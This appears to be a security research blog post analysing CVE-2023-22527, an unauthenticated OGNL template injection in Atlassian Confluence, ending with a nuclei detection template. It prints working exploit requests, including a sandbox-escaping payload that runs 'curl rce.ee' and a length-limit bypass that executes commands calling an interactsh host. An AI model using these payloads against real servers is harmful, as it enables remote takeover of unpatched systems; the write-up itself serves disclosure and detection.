-

6 min read

Atlassian Confluence - Remote Code Execution (CVE-2023-22527)

Atlassian Confluence - Remote Code Execution (CVE-2023-22527)

CVE-2023-22527 is a critical vulnerability within Atlassian's Confluence Server and Data Center. This vulnerability has the potential to permit unauthenticated attackers to inject OGNL expressions into the Confluence instance, thereby enabling the execution of arbitrary code and system commands.

Technical Details

Initial Analysis

The CVE description provided by Atlassian made it clear that this vulnerability was automatically rendered unexploitable in version 8.5.4 due to certain incorporated changes. However, the most recent Confluence version, 8.5.5, has also been released, completely eliminating the root cause.

When we compared the differences between versions 8.5.4 and 8.5.3 by patch diffing, we discovered a significant number of changes, including additions and deletions of files. This led us to spend a considerable amount of time examining various differences that appeared relevant, sometimes leading us down unexpected paths. Additionally, based on our knowledge and presumptions, there didn't appear to be a substantial unauthenticated attack surface, especially considering the recent CVEs related to Confluence.

A significant portion of our time was dedicated to inspecting files that had OGNL-related changes and potential vulnerabilities like dangerous sinks leading to OGNL Injection, such as findValue and translateVariables, among others.

While many of these changes appeared to be related to code refactoring, we couldn't find anything obvious.

Identifying the Unauthenticated Attack Surface

Drawing on our previous experience with Confluence, we were aware that the actual "views" in Confluence are rendered using Velocity template files. Interestingly, rather than accessing them solely through struts actions, they can also be accessed directly by hitting the *.vm files, and they continue to render correctly even as an unauthenticated user.

Upon discovering these patterns, we began searching for template files that accepted $parameters and then passed them to potentially dangerous sinks. We identified several files that directly passed the parameter values to $ognl.findValue or $stack.findValue. For instance, one such file is confluence/template/xhtml/pagelist.vm:

java

1
#set ($pageList = $stack.findValue($parameters.pages))

We set up a breakpoint in the debugger at the "findValue" function to ensure that we were reaching it successfully. However, when we attempted to access /confluence/template/xhtml/pagelist.vm directly with the "pages" parameter, the breakpoint was not triggered.

Later, we came to conclusion that this didn't work by adding statements to help debug around in the pagelist.vm. We found that $parameters.pages might not be sent as String but rather an Object and later we found if we added double quotes around $parameter.pages It would have worked. The following change works perfectly and leads to OGNL injection:

java

1
#set ($pageList = $stack.findValue("$parameters.pages"))

Next, we simply looked for any findValue calls that takes in $parameters inside double quotes. And, to our surprise we found one in confluence/template/aui/text-inline.vm.

java

1
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )

At this, point of time we realized we simply missed patch diffing the resources such as vm files. After doing so it was found that, this text-inline.vm file have been removed in the latest version as well which confirmed our suspicion.

OGNL Expression Evaluation

Next, we put a breakpoint on getText as well to be sure we are able to reach there and It worked.

Next, we tried breaking out of the getText function call and append our OGNL expression #{3*33} but it was HTML encoded. Later, we used the previously known trick to use unicode escapes to breakout of function and append our controlled OGNL syntax and it worked.

http

1
POST /template/aui/text-inline.vm HTTP/1.1
2
Host: localhost:8090
3
Accept-Encoding: gzip, deflate, br
4
Accept: /
5
Accept-Language: en-US;q=0.9,en;q=0.8
6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
7
Connection: close
8
Cache-Control: max-age=0
9
Content-Type: application/x-www-form-urlencoded
10
Content-Length: 34
11
12
label=test\u0027%2b#{3*33}%2b\u0027

Now, to bypass the security restrictions setup by struts to exclude certain packages and classes to be accessed with OGNL expression.

Remote Code Execution via OGNL Injection

We looked at all that was available to us in the context by peeking at variables such as #attr , #application etc.

Using the previously shared knowledge from none other than Alvaro Muñoz we found a potential way to get code execution.

It was discovered that the .KEY_velocity.struts2.context key was present within the #request map. By using the expression #request['.KEY_velocity.struts2.context'].internalGet('ognl'), we were able to access the org.apache.struts2.views.jsp.ui.OgnlTool class and invoke the Ognl.findValue(String, Object) method.

It's important to note that this class belongs to the OGNL library and is not part of Struts. As a result, this "findValue" call operates outside of Struts' sandboxed restrictions, as mentioned in the blog.

http

1
POST /template/aui/text-inline.vm HTTP/1.1
2
Host: localhost:8090
3
Accept-Encoding: gzip, deflate, br
4
Accept: */*
5
Accept-Language: en-US;q=0.9,en;q=0.8
6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
7
Connection: close
8
Cache-Control: max-age=0
9
Content-Type: application/x-www-form-urlencoded
10
Content-Length: 255
11
12
label=\u0027%2b
13
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

But, it didn't work! Here's a small twist, after debugging it was found that, if the OGNL template is longer than ~200 characters, it is blocked based on struts.ognl.expressionMaxLength setting.

ognl.OgnlException: Parsing blocked due to security reasons! [java.lang.SecurityException: This expression exceeded maximum allowed length: getText('AAAA...AAAA')]

However, modifying the payload just a little bit and utilizing #parameters map to pass argument to exec method, we could bypass this limitation and execute system commands.

We've created a nuclei template to detect this CVE and added into nuclei-templates project - https://github.com/projectdiscovery/nuclei-templates/pull/8982

Nuclei template to detect CVE-2023-22527 on Atlassian Confluence instances:

yaml

1
id: CVE-2023-22527
2
3
info:
4
name: Atlassian Confluence - Remote Code Execution
5
author: iamnooob,rootxharsh,pdresearch
6
severity: critical
7
description: |
8
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
9
Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
10
reference:
11
- https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
12
- https://jira.atlassian.com/browse/CONFSERVER-93833
13
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
14
classification:
15
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
16
cvss-score: 10
17
cve-id: CVE-2023-22527
18
epss-score: 0.00044
19
epss-percentile: 0.08115
20
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
21
metadata:
22
max-request: 1
23
vendor: atlassian
24
product: confluence_data_center
25
shodan-query: http.component:"Atlassian Confluence"
26
tags: cve,cve2023,confluence,rce,ssti
27
28
http:
29
- raw:
30
- |+
31
POST /template/aui/text-inline.vm HTTP/1.1
32
Host: {{Hostname}}
33
Accept-Encoding: gzip, deflate, br
34
Content-Type: application/x-www-form-urlencoded
35
36
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"})
37
38
matchers-condition: and
39
matchers:
40
- type: word
41
words:
42
- 'Empty{name='
43
44
- type: word
45
part: interactsh_protocol
46
words:
47
- dns

bash

1
$ nuclei -target http://localhost -id CVE-2023-22527
2
3
__ _
4
____ __ _______/ /__ (_)
5
/ __ \/ / / / ___/ / _ \/ /
6
/ / / / /_/ / /__/ / __/ /
7
/_/ /_/\__,_/\___/_/\___/_/ v3.1.6
8
9
projectdiscovery.io
10
11
[INF] Current nuclei version: v3.1.6 (latest)
12
[INF] Current nuclei-templates version: v9.7.4 (latest)
13
[INF] To view results on cloud dashboard, visit https://cloud.projectdiscovery.io/scans upon scan completion.
14
[INF] New templates added in latest release: 6
15
[INF] Templates loaded for current scan: 1
16
[WRN] Executing 1 unsigned templates. Use with caution.
17
[INF] Targets loaded for current scan: 1
18
[INF] Using Interactsh Server: oast.live
19
[CVE-2023-22527] [http] [critical] http://localhost/template/aui/text-inline.vm

By embracing Nuclei and participating in the open-source community or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.

- Rahul Maini, Harsh Jaiswal @ ProjectDiscovery Research

Related stories

View all